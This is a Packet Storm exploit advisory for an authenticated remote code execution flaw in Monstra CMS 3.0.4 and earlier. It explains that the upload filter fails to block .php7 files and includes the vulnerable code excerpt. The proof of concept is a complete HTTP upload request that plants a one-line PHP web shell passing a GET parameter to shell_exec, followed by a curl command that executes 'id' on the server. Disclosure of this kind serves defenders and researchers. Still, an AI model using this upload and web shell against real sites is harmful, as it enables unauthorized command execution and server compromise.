exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Monstra CMS 3.0.4 Code Execution

Monstra CMS 3.0.4 Code Execution
Posted Feb 21, 2018
Authored by Hashim Jawad

Monstra CMS versions 3.0.4 and below could suffer from a PHP7 remote code execution vulnerability if certain server conditions are met.

tags | exploit, remote, code execution
SHA-256 | 853acb2973915dbb0c78a76c516ac2881f35285e1e767a8b6982148964266a90

Monstra CMS 3.0.4 Code Execution

Change Mirror Download
# Exploit title  :  Monstra CMS =< v3.0.4 - Authenticated Remote Code Execution
# Date : 21.02.2018
# Exploit Author : Hashim Jawad
# Website : ihack4falafel[.]com
# Twitter : @ihack4falafel
# Vendor Homepage: http://monstra.org/
# Software Links : http://monstra.org/download
# Tested on : Ubuntu 16.04.3 LTS


**Vulnerability Requirements**
==============================
- User with edit or admin permissions.
- Apache2 webserver with PHP v7.0 (libapache2-mod-php7.0).


**Vulnerability Description**
=============================
Monstra CMS version 3.0.4 and eariler allow the upload of files with .php7 extension, which could lead to remote code execution. By default, PHP v7.0 configuration allows .php7 files execution, meaning
Monstra instances running on top of PHP v7.0 are vulnerable to this exploit, see below conf file:

root@server:~# cat /etc/apache2/mods-enabled/php7.0.conf
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
root@server:~#

**Vulnerable Code**
===================
See below Monstra vulnerable code from https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php

public static function main()
{
// Array of forbidden types
$forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
'php', 'phtml', 'php3', 'php4', 'php5', 'phps',
'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

**proof-of-concept**
====================
- Login as user with admin privileges.
- Upload cmd.php7

POST /webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: 192.168.80.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/
Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------142811919017951589212084055562
Content-Length: 547

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="csrf"

a026e14835638b29eb372ad869ae0738250f2240
-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="file"; filename="cmd.php7"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET['cmd']); ?>

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="upload_file"

Upload
-----------------------------142811919017951589212084055562--

- Browse to cmd.php7 and execute code

root@kali:~# curl -i -s -k -X $'GET' -H $'Host: 192.168.80.135' -H $'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/' -H $'Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -b $'PHPSESSID=50s1tl42a993rkkbheasllcii6' $'http://192.168.80.135/webservices/monstra-3.0.4/public/uploads/cmd.php7?cmd=id'
HTTP/1.1 200 OK
Date: Wed, 21 Feb 2018 20:40:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@kali:~#









Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close